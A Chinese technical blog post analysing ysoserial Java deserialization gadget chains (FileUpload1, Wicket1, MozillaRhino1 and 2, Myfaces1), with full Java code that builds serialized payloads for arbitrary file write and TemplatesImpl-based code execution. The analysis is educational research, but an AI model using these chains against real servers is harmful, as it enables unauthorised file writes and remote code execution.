Java 反序列化漏洞(四) - FileUpload/Wicket/MozillaRhino/Myfaces
FileUpload1
FileUpload 组件是 Apache 提供的上传组件,它本身依赖于 commons-io 组件,ysoserial 中利用了这个组件来任意写、读文件或者目录。但是具体是对文件还是目录操作与 FileUpload 以及 JDK 的版本有关。
前置知识
DiskFileItem
org.apache.commons.fileupload.FileItem
表示在 multipart/form-data
POST 请求中接收到的文件或表单项。
而 org.apache.commons.fileupload.disk.DiskFileItem
是 FileItem 的实现类,用来封装一个请求消息实体中的全部项目,在 FileUploadBase#parseRequest
解析时进行封装,动作由 DiskFileItemFactory 的 createItem
方法来完成。
当上传的文件项目比较小时,直接保存在内存中(速度比较快),比较大时,以临时文件的形式,保存在磁盘临时文件夹。
而在这个过程中,就用到了几个 DiskFileItem 类中的属性:
- repository:File 类型的成员变量,如果文件保存到硬盘上的话,保存的位置。
- sizeThreshold:文件大小阈值,如果超过这个值,上传文件将会被储存在硬盘上。
- fileName:原始文件名
- dfos:一个 DeferredFileOutputStream 对象,用于 OutputStream 的写出
- dfosFile:一个 File 对象,允许对其序列化的操作
DiskFileItem 重写了 readObject
方法实现了自己的逻辑,用于在 JVM 之间迁移一个包含 DiskFileItem 的 HTTP 会话。在类的注释中还特别强调,在不同机器中文件储存位置 repository 可能不同,需要验证。也就是说如果反序列化一个带数据的 DiskFileItem 类,就可能会触发文件的写出操作。
首先看一下 DiskFileItem 的序列化逻辑是怎么写的:
逻辑也很清楚,描述一下:
- 通过
dfos.isInMemory()
方法判断文件内容是否是在内存中,其实也就是通过判断 written 的长度和 threshold 阈值长度大小,如果写入大于阈值,则会被写出到文件中,那就不是存在内存中了。
- 如果在内存中,则会调用
dfos.getData()
方法获取存在 dfos 成员变量 memoryOutputStream 的 ByteArrayOutputStream 对象放在 cachedContent 中。 - 如果不在内存中,则会将 cachedContent 置为空,然后将 dfosFile 赋值为 dfos 的成员变量 outputFile 对象。
由于 dfos 是 transient 修饰的,不能被反序列化,所以能被反序列化的有 byte 数组类型的 cachedContent 和 File 对象的 dfosFile。
接下来迫不及待的看一下 readObject
的代码实现。
逻辑非常清晰,用文字描述一下:
- 调用
getOutputStream()
方法获取 OutputStream 对象,实际上是 new 了一个 DeferredFileOutputStream 对象,文件路径使用 tempFile,如果为空使用 repository,如果还为空则使用System.getProperty("java.io.tmpdir")
,文件名使用format("upload_%s_%s.tmp", UID, getUniqueId())
生成随机的文件名。 - 如果 cachedContent 不为空,则直接 write,否则将 dfosFile 文件内容拷贝到 OutputStream 中写出,并删除。
在了解的序列化和反序列化过程后,我们就可以通过控制 DiskFileItem 类中的属性来利用反序列化写出文件。
攻击构造
public class FileUploadForWrite {
public static String fileName = "FileUploadForWrite.bin";
public static void main(String[] args) throws Exception {
// 创建文件写入目录 File 对象,以及文件写入内容
String charset = "UTF-8";
byte[] bytes = "hahaha".getBytes(charset);
// 在 1.3 版本以下,可以使用 \0 截断
File repository = new File("/Users/phoebe/Downloads/123.txt\0");
// 在 1.3.1 及以上,只能指定目录
// File repository = new File("/Users/phoebe/Downloads");
// 创建 dfos 对象
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
// 使用 repository 初始化反序列化的 DiskFileItem 对象
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);
// 序列化时 writeObject 要求 dfos 不能为 null
Field dfosFile = DiskFileItem.class.getDeclaredField("dfos");
dfosFile.setAccessible(true);
dfosFile.set(diskFileItem, dfos);
// 反射将 cachedContent 写入
Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
field2.setAccessible(true);
field2.set(diskFileItem, bytes);
SerializeUtil.writeObjectToFile(diskFileItem, fileName);
SerializeUtil.readFileObject(fileName);
}
}
在 1.3.1 版本中,官方对空字节截断进行了修复,在 readObject 中,判断成员变量 repository 是否为空,不为空的情况下判断是不是目录,并判断目录路径中是否包含 \0
空字符。
那在这种情况下,就不能实现任意文件的写入,只能指定目录写入内容,而文件名只能是按照代码规则去生成。
之前在分析 DiskFileItem 的 readObject 时提到,在 cachedContent 为 空的情况,则会将 dfosFile 中的内容进行拷贝,并调用其 delete 方法删除。那利用这段代码,就可以完成任意文件的移动,漏洞作者 mbechler 称其为 copyAndDelete 。
非常简单且无趣,这里不贴代码了。
总结
以上就是 FileUpload 链分析的全部内容了,最后总结一下。
- 利用说明:
- 利用了 DiskFileItem 反序列化时会将写出文件的特性实施攻击,借助 JDK 的空字节截断即可完成任意文件写入和任意文件移动的漏洞调用链。
- Gadget 总结:
- kick-off gadget:
org.apache.commons.fileupload.disk.DiskFileItem#readObject()
- sink gadget:
org.apache.commons.fileupload.disk.DiskFileItem#getOutputStream()
- chain gadget:
org.apache.commons.beanutils.BeanComparator#compare()
- kick-off gadget:
- 调用链展示:
DiskFileItem.readObject()
DiskFileItem.getOutputStream()
DeferredFileOutputStream.write()
- 依赖版本
commons-fileupload : 1.3.x
commons-io : 2.4
Wicket1
由于 Apache Wicket 抄了 FileUpload 的代码,所以有了这条链,除了包名不同,其他调用一模一样。不再重复。(真能水啊...)
MozillaRhino1
漏洞介绍:博客
Rhino 是完全使用 Java 编写的 JavaScript 的开源实现,最初由 Mozilla 开发,后被集成至 JDK,此项目进一步扩展了 Java 的动态性,使 Java 可以调用 js 脚本,实现脚本语言与 Java 语言的数据交换。Rhino 的 ScriptEngine 经常被用来进行 JVM 沙箱逃逸。
Oracle JRE 6/7 捆绑了 Rhino 的旧分支(sun.org.mozilla.* 下的软件包),Oracle 使用 JRE7u13对 Rhino 核心类进行了一些强化,使其不再可序列化。这些更改是为了修复 James Forshaw 的沙箱逃逸 (CVE-2012-3213),但是这些改变并没有被纳入 Mozilla 的 Rhino 中,因此,如果使用了与 Ubuntu 或 Debian 捆绑在一起的 OpenJdk,则可能依然存在此条利用链。
前置知识
在 Rhino 中,几乎每个 Javascript 的对象,都会表示为 Java 中的 ScriptableObject。这个 Java 类时 Scriptable 接口的默认实现,同时实现了 Serializable 接口。这个类提供了很多方法,可以很方便地使用这些方法定义 Javascript 对象的各种属性和方法。
这个类中有个我们需要关注的成员变量 slots: Slot 类型的数组。
Slot 有一个 GetterSlot 子类,里面添加了 getter/setter 两个属性。
NativeError
org.mozilla.javascript.NativeError
继承自 IdScriptableObject,后者也是 ScriptableObject 的子类。因此 NativeError 是可以进行序列化和反序列化操作的。
NativeError 的 toString
方法调用了 js_toString
方法,参数是 this。
调用了两次 getString()
,分别获取 this 对象的 “name” 和 “message” 的相关属性。getString
方法调用 ScriptableObject.getProperty()
从一个 Scriptable 对象中获取。
实际上就是通过 Scriptable 对象本身的 get()
方法来来索引属性值。
NativeError 没有 get
方法,会调用其父类的 IdScriptableObject 的 get
方法,会继续调用其父类 ScriptableObject 的 get
方法。
ScriptableObject 的 get
方法调用 getImpl()
方法。
在 getImpl()
方法中是比较重要的触发点逻辑,首先通过 getSlot()
方法获取 Slot 对象,如果 Slot 是 GetterSlot 实例,则获取其中的 getter 实例,如果 getter 实例是 MemberBox ,则调用其 invoke 方法反射调用。如果
在反射调用时,传入的对象和参数有如下逻辑:
- 如果 MemberBox 的 delegateTo 为空,则传递给 invoke 的对象为 start,调用参数为
ScriptRuntime.emptyArgs
,也就是空。 - 否则传递给 invoke 的对象为 delegateTo,而 start 作为参数传入。
而在 MemberBox 的构造方法初始化时,是不会实例化 delegateTo 这个成员变量的,因为他是 transient 修饰的,且没有处理, 所以程序在反序列化时只能走上述第一个逻辑,这就导致了我们无法控制期望的调用目标对象函数,只能是调用链最开始的 NativeError 的 this 对象。
所以这里把注意力放在 else 分支上,如果 getter 是 Function 类型,则会调用其 call 方法,这里需要注意的是,传入的参数对象为 ScriptRuntime.emptyArgs
。
NativeJavaMethod
org.mozilla.javascript.NativeJavaMethod
类是 Function 接口的实现,同时也是 IdScriptableObject 的子类,这个类在实例化时接收 MemberBox 对象,并存储在 this.methods
这个 MemberBox 数组中。
在 NativeJavaMethod 的 call 方法中,通过 findFunction 方法根据参数和上下文在 this.methods
中找到对应的 MemberBox,并调用其 invoke 方法。
那么现在的难点在于,如何控制 javaObject 的值,程序里需要判断从参数传入的 thisObj 是一个 Wrapper 对象,调用其 unwrap 方法之后返回 javaObject。
而这个 thisObject 则是从之前的调用中传入的 NativeError 对象,并不满足要求。
但是我们发现,这是一个 for (;;)
的无限循环,如果没有找到合适的 javaObject,则会调用 o.getPrototype()
返回 prototypeObject 成员变量再次判断。
此时如果我们找到一个类,这个类是 Scriptable 的实现类,同时是 Wrapper 实例,其 unwrap 方法返回 Java 对象可控,那就可以成功触发利用链了。
MemberBox
org.mozilla.javascript.MemberBox
的 invoke()
方法接收 target 对象和参数 Object 数组,然后反射调用。
借助 MemberBox 类,就可以触发恶意漏洞。
虽然 MemberBox 的 memberObject 属性由 transient 修饰,表面上看起来好像是不能在 read/writeObject 时序列化和反序列化,但是实际上 MemberBox 又自己实现了 writeMember()
/readMember()
方法,在序列化和反序列化时进行了调用,所以其实是没问题的。
NativeJavaObject
org.mozilla.javascript.NativeJavaObject
类实现了 Scriptable, Wrapper, Serializable 三个接口,非常符合我们的要求,并且其 unwrap 方法直接返回 Object 类型的成员变量 javaObject。
与 MemberBox 类似,虽然成员变量 javaObject 由 transient 修饰,但在 read/writeObject 时自定义了相关处理逻辑,对象可以被保存。
攻击构造
通过上面几个类调用情况的解析,已经找到了完整的利用链。那该如何触发 NativeError 的 toString
方法呢?这时想起了 CC5 的 BadAttributeValueExpException。
因此最终的攻击构造为:
public class MozillaRhino1 {
public static String fileName = "MozillaRhino1.bin";
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 实例化 NativeError 类
Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();
// 使用恶意类 TemplatesImpl 初始化 NativeJavaObject
// 这样 unwrap 时会返回 tmpl 实例
// 由于 NativeJavaObject 序列化时会调用 initMembers() 方法
// 所以需要在实例化 NativeJavaObject 时也进行相关初始化
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);
// 使用 newTransformer 的 Method 对象实例化 NativeJavaMethod 类
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");
// 使用反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);
// 将 GetterSlot 放入到 NativeError 的 slots 中
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);
// 反射将 NativeJavaMethod 实例放到 GetterSlot 的 getter 里
// ysoserial 调用了 setGetterOrSetter 方法,我这里直接反射写进去,道理都一样
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = getterSlotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slotObject, nativeJavaMethod);
// 生成 BadAttributeValueExpException 实例,用于反序列化触发 toString 方法
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, nativeError);
SerializeUtil.writeObjectToFile(exception, fileName);
SerializeUtil.readFileObject(fileName);
}
}
这里有一点坑,在 NativeJavaObject 反序列化时,会调用 initMembers()
方法调用 JavaMembers.lookupClass()
方法来查询对应 Java 对象的 Method、fieldAndMethods 等信息,为了避免其报错,在实例化时执行相应流程来满足对应需要的对象。
总结
以上就是 MozillaRhino1 链分析的全部内容了,真的是一条比较复杂的利用链,最后总结一下。
- 利用说明:
- 利用了 BadAttributeValueExpException 反序列化时调用 NativeError 的 toString 方法,进而调用了 ScriptableObject 的 getImpl 方法,其中调用了 NativeJavaMethod 的 call 方法,利用 NativeJavaObject 返回 TemplatesImpl 对象,最后借助 MemberBox 的 invoke 方法完成反射调用触发恶意代码。
- Gadget 总结:
- kick-off gadget:
javax.management.BadAttributeValueExpException#readObject()
- sink gadget:
org.mozilla.javascript.MemberBox#invoke()
- chain gadget:
org.mozilla.javascript.NativeJavaMethod#call()
- kick-off gadget:
- 调用链展示:
BadAttributeValueExpException.readObject()
NativeError.toString()
ScriptableObject.getProperty()
ScriptableObject.getImpl()
NativeJavaMethod.call()
NativeJavaObject.unwrap()
MemberBox.invoke()
TemplatesImpl.newTransformer()
- 依赖版本
rhino-js : 1.7R2
MozillaRhino2
MozillaRhino2 移除了对 BadAttributeValueExpException 触发点的限制,借助了 JavaMembers 来获取和触发指定的类方法。
前置知识
JavaMembers
org.mozilla.javascript.JavaMembers
是 Rhino 对 Java Class的一种封装和描述。
JavaMembers 实例化时接收一个 Scriptable 对象,一个 Class 类型的对象,和一个布尔类型的参数 includeProtected 表示是否包含 “Protect” 修饰符的,调用 reflect()
方法获取类的信息并放入自己的相关成员变量中。
其中包括:
- 调用
discoverAccessibleMethods()
方法获取类中的全部 Method,如果是静态方法,则将方法名和 Method 对象映射的 Map 放入 staticMembers 中,否则放入 members 中。
- 然后把 staticMembers 和 members 中的 Method 实例用 NativeJavaMethod 作为 Wrapper 进行封装,这样 staticMembers 和 members 中就变成了方法名和 NativeJavaMethod 实例的映射。
- 接下来对 Field 进行映射,依旧是区分是否静态并存放在 staticMembers 和 members 中,如果 field 名和 method 名重复,则使用 FieldAndMethods 对象来同时封装二者。
- 接下来是对 get/set 方法进行提取和封装,对所有 get/set/is 开头 的方法名进行提取,去除前缀并将第一位字母改为小写,作为 beanPropertyName,然后获取在 staticMembers 和 members 中查找属性对应的 get/set/is 方法的映射,如果有 NativeJavaMethod 的值,在其中找到无参且有返回值的方法。
- 使用获得的 getter/setter 实例化 BeanProperty ,并用 beanPropertyName 和映射存放在 staticMembers 和 members 中。
- 最后映射构造方法,使用 MemberBox 包裹后存入 ctors。
经过了 JavaMembers 的初始化后,可以说一个 Java Class 的相关信息被储存和封装在了这个 JavaMembers 中。JavaMembers 提供了很多方法来查询和提取相应的对象以供调用。
其中有一个 static 方法 lookupClass()
,为 JavaMembers 对象提供了缓存功能,如果有,则从ClassCache 中提取,如果没有,则 new 一个 JavaMembers 并放在响应的缓存中。
JavaMembers 还提供了一个 get()
方法,是本条链最重要的触发点,简单来说,这个方法接收一个属性名,和一个类实例,然后使用反射去调用这个属性的 getter 方法,然后根据返回值的类型不同,使用自己的类去 Wrap 这个返回值,如 Array 用 NativeJavaArray, Object 的用 NativeJavaObject。
那既然如此,就可以使用这个方法来触发 TemplatesImpl 的 getOutputProperties 方法。测试代码如下:
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Class<?> c = Class.forName("org.mozilla.javascript.JavaMembers");
Method m = c.getDeclaredMethod("lookupClass", Scriptable.class, Class.class, Class.class, boolean.class);
m.setAccessible(true);
Object o = m.invoke(null, scriptableObject, TemplatesImpl.class, TemplatesImpl.class, true);
Method m2 = c.getDeclaredMethod("get", Scriptable.class, String.class, Object.class, boolean.class);
m2.setAccessible(true);
m2.invoke(o, scriptableObject, "outputProperties", tmpl, false);
NativeJavaObject
在 MozillaRhino1 中,使用了 NativeJavaObject 作为 Wrapper 类来返回恶意的 javaObject,也就是 TemplatesImpl,当时仅仅是关注了 NativeJavaObject 同时实现了 Wrapper 和 Scriptable 这两个接口,这里来详细看一下。
NativeJavaObject 是一个对非 Array 类型的 Java Object 的封装,构造方法接收 javaObject 对象,staticType Class对象,调用 initMembers()
方法来封装和获取相关信息。
initMembers()
方法调用了 JavaMembers.lookupClass()
来执行之前描述过的解析过程,而将生成的结果存在成员变量 member 中。
而 NativeJavaObject 的 get 方法则调用了 JavaMembers 的 get 方法。
那其实就可以通过 NativeJavaObject 的 get 方法来直接出发恶意调用,测试代码如下:
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);
nativeJavaObject.get("outputProperties", scriptableObject);
除此之外,NativeJavaObject 实现了 Serializable 接口,重写了 readObject 方法,在反序列化过程中,会判断 isAdapter 标志位,如果为 true,则会调用反射调用 adapter_readAdapterObject 传入 this 对象和 ObjectInputStream。
而这个 adapter_readAdapterObject 实际上是 org.mozilla.javascript.JavaAdapter
的 readAdapterObject
方法,在 NativeJavaObject 的 static 语句进行了初始化。
也就是说,在 isAdapter 为 false 时,NativeJavaObject 使用自己的逻辑反序列化,而 isAdapter 为 true 时,NativeJavaObject 委托 JavaAdapter 为其反序列化。跟一下调用逻辑:
readAdapterObject 从 ObjectInputStream 中读取数据,调用 getAdapterClass()
获取 Adapter 对象的 Class,并通过反射调用指定参数的构造方法进行实例化, getAdapterClass()
方法接收的第四个参数 delegee 其实就是 NativeJavaObject 中的 javaObject。
getAdapterClass()
方法调用了 getObjectFunctionNames 方法返回 ObjToIntMap 对象。
而 getObjectFunctionNames 方法调用了 ScriptableObject.getProperty()
方法,会触发对象的 get 方法。
此时,如果 obj 是带有恶意 javaObjet 的 NativeJavaObject,而 id 是 “outputProperties”,岂不是就触发漏洞了吗?
想的很美,但是 id 并非传参,而是使用了 ScriptableObject.getPropertyIds(obj)
返回的字符串类型数组循环得到的。
ScriptableObject.getPropertyIds()
方法实际调用 obj 的 getIds()
,而如果 obj 是 NativeJavaObject ,将会调用 JavaMembers 的 getIds
方法。
方法会返回所有非静态 member 储存 Map 的 key,实际上 JavaMembers 对象初始化时储存的全部成员变量和方法的 name 。
这种情况下,如果 obj 为 NativeJavaObject ,ids 中确实可以包含 outputProperties,但是由于后续会触发 invoke 方法调用,for 循环还没执行到那一步就会报错。所以还是没办法触发调用。
于是我们需要想办法让 ScriptableObject.getPropertyIds()
这个方法只返回一个值。
NativeJavaArray + Environment
NativeJavaArray 是 NativeJavaObject 的子类,满足 NativeJavaObject 的一切特征。
同时其 getIds()
方法返回空。
ScriptableObject.getPropertyIds()
这个方法会调用 obj 的 getIds()
,还会调用其原型 prototype 的 getIds()
。
ysoserial 使用了 org.mozilla.javascript.tools.shell.Environment
作为 NativeJavaArray 的原型触发,Environment 的 getIds()
方法调用 super 也就是 ScriptableObject.getIds()
方法从 firstAdded 成员变量中获取 Slot name 并返回。
这样我们就可以构造出利用链了。
攻击构造
这条链我仅仅是看通了调用,对于 Rhino 本身的代码并不了解,所以很难说完全理解了利用链,这里直接使用 ysoserial 的代码来进行攻击构造,先列出几个点:
- ysoserial 使用反射调用 ScriptableObject 的 accessSlot 方法来注册 Slot,直接反射写入firstAdded 应该也可
- 为了触发构造,需要使 NativeJavaObject 的 isAdapter 为 true,但是这样在序列化时就会报错,为了避免此情况,需要对其 adapter_writeAdapterObject 成员变量进行篡改。
最终代码为:
public class MozillaRhino2 {
public static String fileName = "MozillaRhino2.bin";
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 初始化一个 Environment 对象作为 scope
ScriptableObject scope = new Environment();
// 创建 associatedValues
Map<Object, Object> associatedValues = new Hashtable<>();
// 创建一个 ClassCache 实例
Object classCacheObject = SerializeUtil.createInstanceUnsafely(ClassCache.class);
associatedValues.put("ClassCache", classCacheObject);
Field associateField = ScriptableObject.class.getDeclaredField("associatedValues");
associateField.setAccessible(true);
associateField.set(scope, associatedValues);
Class<?> memberBoxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> constructor = memberBoxClass.getDeclaredConstructor(Method.class);
constructor.setAccessible(true);
Object initContextMemberBox = constructor.newInstance(Context.class.getMethod("enter"));
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
makeSlot.setAccessible(true);
Object slot = makeSlot.invoke(initContextScriptableObject, "su18", 0, 4);
Class<?> slotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = slotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slot, initContextMemberBox);
// 实例化 NativeJavaObject 类
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Field parentField = NativeJavaObject.class.getDeclaredField("parent");
parentField.setAccessible(true);
parentField.set(initContextNativeJavaObject, scope);
Field isAdapterField = NativeJavaObject.class.getDeclaredField("isAdapter");
isAdapterField.setAccessible(true);
isAdapterField.set(initContextNativeJavaObject, true);
Field adapterObject = NativeJavaObject.class.getDeclaredField("adapter_writeAdapterObject");
adapterObject.setAccessible(true);
adapterObject.set(initContextNativeJavaObject, MozillaRhino2.class.getDeclaredMethod("customWriteAdapterObject",
Object.class, ObjectOutputStream.class));
Field javaObject = NativeJavaObject.class.getDeclaredField("javaObject");
javaObject.setAccessible(true);
javaObject.set(initContextNativeJavaObject, initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
// 实例化 NativeJavaArray类
NativeJavaArray nativeJavaArray = (NativeJavaArray) SerializeUtil.createInstanceUnsafely(NativeJavaArray.class);
Field parentField2 = NativeJavaObject.class.getDeclaredField("parent");
parentField2.setAccessible(true);
parentField2.set(nativeJavaArray, scope);
Field javaObject2 = NativeJavaObject.class.getDeclaredField("javaObject");
javaObject2.setAccessible(true);
javaObject2.set(nativeJavaArray, tmpl);
nativeJavaArray.setPrototype(scriptableObject);
Field prototypeField = NativeJavaObject.class.getDeclaredField("prototype");
prototypeField.setAccessible(true);
prototypeField.set(nativeJavaArray, scriptableObject);
// 实例化最外层的 NativeJavaObject
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Field parentField3 = NativeJavaObject.class.getDeclaredField("parent");
parentField3.setAccessible(true);
parentField3.set(nativeJavaObject, scope);
Field isAdapterField3 = NativeJavaObject.class.getDeclaredField("isAdapter");
isAdapterField3.setAccessible(true);
isAdapterField3.set(nativeJavaObject, true);
Field adapterObject3 = NativeJavaObject.class.getDeclaredField("adapter_writeAdapterObject");
adapterObject3.setAccessible(true);
adapterObject3.set(nativeJavaObject, MozillaRhino2.class.getDeclaredMethod("customWriteAdapterObject",
Object.class, ObjectOutputStream.class));
Field javaObject3 = NativeJavaObject.class.getDeclaredField("javaObject");
javaObject3.setAccessible(true);
javaObject3.set(nativeJavaObject, nativeJavaArray);
SerializeUtil.writeObjectToFile(nativeJavaObject, fileName);
SerializeUtil.readFileObject(fileName);
}
}
总结
以上就是 MozillaRhino2 链分析的全部内容了,可以看到,这两条链的作者对 Rhino 的功能和实现特别了解,调用链十分长且难懂,最后总结一下。
- 利用说明:
- NativeJavaObject 在反序列化时调用 JavaAdapter 的 readAdapterObject 来处理指定的 NativeJavaArray 类,会调用其中 prototype 中的 Environment 类中 slots 的 getter 方法,由 JavaMembers 的 get 方法触发。
- Gadget 总结:
- kick-off gadget:
org.mozilla.javascript.NativeJavaObject#readObject()
- sink gadget:
org.mozilla.javascript.JavaMembers#get()
- chain gadget:
org.mozilla.javascript.JavaAdapter#getAdapterClass()
- kick-off gadget:
- 调用链展示:
NativeJavaObject.readObject()
JavaAdapter.readAdapterObject()
JavaAdapter.getAdapterClass()
JavaAdapter.getObjectFunctionNames()
ScriptableObject.getPropertyIds()
NativeJavaArray.getIds()
Environment.getIds()
ScriptableObject.getIds()
ScriptableObject.getProperty()
NativeJavaArray.get()
JavaMembers.get()
TemplatesImpl.getOutputProperties()
- 依赖版本
rhino-js > 1.6R6
Myfaces1
Apache MyFaces 是 Apache 软件基金会的一个项目,托管着多个与 JavaServer™ Faces (JSF) 技术相关的子项目。
MyFaces Core 项目是 JSF 规范的实现,依赖 myfaces-api、myfaces-impl。本条利用链就在 myfaces-impl 依赖中。
这条链可以说是一个取巧的利用链,因为它结合了反序列化与 EL 表达式执行的相关特点,其中 MyFaces 提供了触发利用的条件,但是真正执行 EL 表达式解析和处理的还需要有具体的 EL 实现类,如 juel 和 apache-el。
前置知识
ValueExpressionMethodExpression
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
是一个封装了 ValueExpression 的 MethodExpression。
此类的 hashCode()
方法会调用 getMethodExpression()
获取 MethodExpression 再调用 MethodExpression 的 hashCode 方法。
getMethodExpression()
方法则会调用 valueExpression 对象的 getValue 方法,这其实就会触发EL 表达式的解析,返回 ValueExpression 的实例。这部分的解析逻辑与之前我写过的 Struts2 漏洞系列文章的 OGNL 表达式解析有相似之处。
也就是说 ValueExpressionMethodExpression 的 hashCode 实际就是封装的 ValueExpression 解析过后的实例的 hashCode。
可以发现漏洞触发链还是比较简单的,我们只需要创建一个带有恶意 EL 表达式的 ValueExpression ,并用它来实例化 ValueExpressionMethodExpression 类,就可以使用反序列化 HashMap 来触发其 hashCode 方法。
攻击构造
由于作者本人对 EL 表达式的相关编写了解不足,这里不进行 payload 的编写示范,反序列化的利用代码为:
public class Myfaces1 {
public static String fileName = "Myfaces1.bin";
public static String payload = "${1+1}";
public static Object generatePayload(String payloads) throws Exception {
// 初始化 FacesContext 及 ELContext
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
// 使用反射将 elContext 写入 FacesContextImpl 中
Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
field.setAccessible(true);
field.set(fc, elContext);
// 使用 ExpressionFactory 创建 ValueExpression
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
// 有害的 ValueExpression
ValueExpression valueExpression = expressionFactory.createValueExpression(elContext, payloads, Object.class);
// 无害的 ValueExpression
ValueExpression harmlessExpression = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
// 使用 ValueExpression 初始化 ValueExpressionMethodExpression
ValueExpressionMethodExpression expression = new ValueExpressionMethodExpression(harmlessExpression);
HashMap<Object, Object> map = new HashMap<>();
map.put(expression, "su18");
map.put("su19", "su20");
// 先放入带有无害的 ValueExpression,put 到 map 之后再反射写入 valueExpression 字段避免触发
Field field1 = expression.getClass().getDeclaredField("valueExpression");
field1.setAccessible(true);
field1.set(expression, valueExpression);
return map;
}
public static void main(String[] args) throws Exception {
SerializeUtil.writeObjectToFile(generatePayload(payload), fileName);
SerializeUtil.readFileObject(fileName);
}
}
总结
以上就是 Myfaces1 链分析的全部内容了,最后总结一下。
- 利用说明:
- 通过反序列化 HashMap 来触发 ValueExpressionMethodExpression 的 hashCode 方法,会调用 ValueExpression 的 getValue 方法解析恶意表达式触发漏洞。
- Gadget 总结:
- kick-off gadget:
java.util.HashMap#readObject()
- sink gadget:
javax.el.ValueExpression#getValue()
- chain gadget:
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression#getMethodExpression()
- kick-off gadget:
- 调用链展示:
HashMap.readObject()
ValueExpressionMethodExpression.hashCode()
ValueExpressionMethodExpression.getMethodExpression()
ValueExpression.getValue()
- 依赖版本
myfaces-impl : 2.2.9
myfaces-api : 2.2.9
javax.servlet-api : 3.1.0
juel-impl : 2.2.7 / apache-el : 8.0.27
juel-api : 2.2.7
Myfaces2
由于 Myface1 仅仅提供了 EL 表达式执行的点,但是没有给出攻击 payload,需要 ysoserial 的使用者自己构造 EL 表达式进行解析和执行。
不像其他的 payload,直接给出待执行命令就能用,所以这将大大提高使用门槛,所以 Myface2 在使用 Myface1 利用链的基础上,添加了使用 ClassLoader 去远程 load 远端恶意类的 EL 表达式执行代码,来为 Myfaces 链提供利用手段。
仅涉及到恶意 EL 表达式的编写,这里不占篇幅。